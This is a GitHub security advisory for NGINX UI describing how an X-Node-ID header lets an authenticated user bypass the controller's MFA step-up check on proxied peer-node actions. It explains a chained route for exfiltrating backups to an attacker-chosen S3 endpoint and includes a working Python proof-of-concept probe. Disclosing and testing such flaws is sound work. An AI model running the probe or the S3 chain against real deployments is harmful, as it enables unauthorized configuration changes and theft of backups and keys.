Skip to main content
Menu
Advisories

Controller node proxy bypasses secure-session step-up for cross-node administrative actions

GHSA-WGGV-7FR9-WR6HPublished Updated GitHub

Description

An authenticated user can add X-Node-ID to a request and make the controller proxy it to a registered peer node before the controller executes the route's RequireSecureSession middleware. The peer accepts the signed request as a trusted node principal, so a fresh OTP/passkey secure-session proof is not required. This lets an authenticated MFA-enabled user invoke sensitive peer-node mutations without the intended step-up check. In deployments with outbound S3 access, the same bypass can also be chained through the auto-backup create/run APIs to send a complete encrypted NGINX UI/NGINX backup and its separate decryption key to an attacker-controlled S3-compatible endpoint.

This is an authorization/step-up authentication bypass, not an unauthenticated issue. No administrator-only action is required after obtaining a normal user JWT and a registered node ID.

Details

The HTTP API is registered in router/routers.go:107 on one group:

g := root.Group("/", middleware.AuthRequired(), middleware.Proxy())

internal/middleware/middleware.go:254-257 stores X-Node-ID as ProxyNodeID. When it is present, internal/middleware/proxy.go:40-53 enters proxy mode, and internal/middleware/proxy.go:115 calls proxy.ServeHTTP without calling c.Next(). The deferred c.Abort() prevents the controller's route middleware and handler from running.

Several mutation route groups mounted on g explicitly require a fresh secure session, including:

  • api/config/router.go:14-23 — config writes and config_sync_batch;
  • api/sites/router.go:21-54 — site and health-check updates (the separate test_health_check SSRF route is not claimed here);
  • api/nginx/router.go:28-36 — reload, restart, and performance changes;
  • api/streams/router.go, api/certificate/router.go, api/dns/router.go, api/settings/router.go, api/host/router.go, api/cluster/router.go, and other secure mutation groups.

The auto-backup routes provide a concrete secondary confidentiality path. api/backup/router.go:19-30 places create, modify, delete, restore, run, and S3-test operations behind RequireSecureSession, but all are mounted on the vulnerable proxy group. api/backup/auto_backup.go:81-110 accepts an attacker-chosen s3_endpoint; internal/backup/auto_backup.go:587-624 validates only the S3 bucket and credentials, not an endpoint allowlist. RunAutoBackup can be invoked manually even when a job is disabled (api/backup/auto_backup.go:214-228). The execution path calls Backup, which stages the UI configuration/database and NGINX configuration (internal/backup/backup.go:39-85), writes the encrypted archive and separate key file (internal/backup/auto_backup.go:152-178), and uploads both files to the configured S3 endpoint (internal/backup/s3_client.go:110-139). This source path supports high confidentiality in a deployment where the peer can reach the attacker-controlled S3 endpoint, but it is not required for the core differential reproduction below.

The forwarded request is authenticated by nodeauth.NewTransport. On the child, internal/middleware/secure_session.go:74-78 immediately accepts a node principal and does not require X-Secure-Session-ID. Therefore the same browser JWT has two different authorization outcomes:

POST /api/config_sync_batch without X-Node-ID  -> controller 401
POST /api/config_sync_batch with X-Node-ID     -> child response, without step-up proof

The repository itself documents that secure-session state belongs to the controller (router/routers.go:88-90). Its cluster documentation says that peer nodes are separate NGINX UI instances, each managing its own host and retaining per-host autonomy (docs/guide/manage-multi-host-nginx-with-cluster.md:16-25). The vulnerable controller therefore crosses a security/trust boundary into a separately deployed component. The terminal route has a separate safe ordering (api/terminal/router.go:8-18), which confirms that controller gates are intended to execute before proxying.

The affected mutation groups do not require RequireInteractiveUser(). In addition, GET /api/nodes is outside the interactive-administrator group, so an ordinary authenticated user can obtain registered node IDs. Routes that explicitly require RequireInteractiveUser() still reject a node principal and are not claimed as affected.

Proof of concept

Run only against an isolated controller and disposable registered child node. The child must be enabled, reachable from the controller at its registered HTTP(S) URL, and have a valid paired/signed (or legacy) node credential. The test account must have OTP or passkey step-up enforcement enabled, and the request must not include a fresh X-Secure-Session-ID.

  1. Start NGINX UI v2.8.4 or the tested dev revision with one enabled child node. Confirm its numeric ID appears in the authenticated GET /api/nodes response and that the controller can reach the registered child URL.
  2. Obtain a normal user JWT. Do not obtain or send a secure-session ID.
  3. Set the controller URL, JWT, and node ID:
export NGINX_UI_URL=http://127.0.0.1:9000
export NGINX_UI_TOKEN='user-jwt'
export NGINX_UI_NODE_ID=1
  1. Save the following dependency-free Python 3 program as proxy_step_up_bypass.py and run it. It sends an empty files batch, which performs no configuration write.
python3 proxy_step_up_bypass.py
#!/usr/bin/env python3
import os
import sys
import urllib.error
import urllib.request

base = os.environ.get("NGINX_UI_URL", "http://127.0.0.1:9000").rstrip("/")
token = os.environ.get("NGINX_UI_TOKEN")
node_id = os.environ.get("NGINX_UI_NODE_ID")

if not token or not node_id:
    print("set NGINX_UI_TOKEN and NGINX_UI_NODE_ID", file=sys.stderr)
    sys.exit(2)


def send(proxy):
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json",
    }
    if proxy:
        headers["X-Node-ID"] = node_id
    request = urllib.request.Request(
        base + "/api/config_sync_batch",
        data=b'{"files":[]}',
        headers=headers,
        method="POST",
    )
    try:
        with urllib.request.urlopen(request, timeout=10) as response:
            return response.status
    except urllib.error.HTTPError as error:
        return error.code
    except (urllib.error.URLError, TimeoutError) as error:
        print(f"request failed: {error}", file=sys.stderr)
        return None


direct = send(False)
proxied = send(True)
print(f"without X-Node-ID: {direct}")
print(f"with X-Node-ID: {proxied}")

if direct == 401 and proxied == 200:
    print("VULNERABLE: child request bypassed the controller step-up gate")
    sys.exit(1)
if direct != 401:
    print("inconclusive: the account did not require a secure-session step-up", file=sys.stderr)
else:
    print("inconclusive: the child request did not return the expected safe response", file=sys.stderr)
sys.exit(2)

Expected output on a vulnerable instance:

without X-Node-ID: 401
with X-Node-ID: 200
VULNERABLE: child request bypassed the controller step-up gate

The inline program was also replayed against a loopback controller/child mock during review. The same bearer token received 401 without X-Node-ID and 200 with X-Node-ID: 1; the child observed only the forwarded request. The {"files":[]} body is intentionally a no-op, so this differential test does not modify configuration or upload a backup.

Impact

This is a missing/incorrect authorization check at the controller-to-child trust boundary. Any authenticated user who has a valid JWT for an MFA-enabled account, or an attacker holding such a session token, can omit the fresh MFA step-up and invoke secure child-node operations. A separate administrator-only UI action is not required.

Depending on the user's existing API access, the impact includes:

  • modifying, renaming, deleting, or deploying NGINX configuration;
  • changing sites, streams, certificates, DNS credentials, host/SSH setup, or auto-backup jobs;
  • where the peer has outbound S3 access, exfiltrating a complete encrypted peer backup and its separate decryption key by creating and running an auto-backup pointed at an attacker-controlled S3-compatible endpoint;
  • reloading or restarting NGINX on a managed child node;
  • other secure-session-only mutations mounted on the proxied API group.

The direct /api/backup and /api/restore routes are local-only and are not included in this claim; the affected backup surface is the proxied auto-backup API. The issue does not provide unauthenticated access, does not bypass routes that explicitly require RequireInteractiveUser(), and does not by itself grant arbitrary code execution. The primary reproduced impact is high integrity and availability on the selected peer (configuration changes, credential/DNS/certificate changes, and NGINX reload/restart), with confidentiality impact through the affected management APIs. The auto-backup path can raise confidentiality to a complete backup/key disclosure when the documented S3 feature and outbound connectivity are enabled, but that deployment-dependent chain is deliberately not used to inflate the primary base score.

Affected versions

References

GitHub · 0xJacky/nginx-ui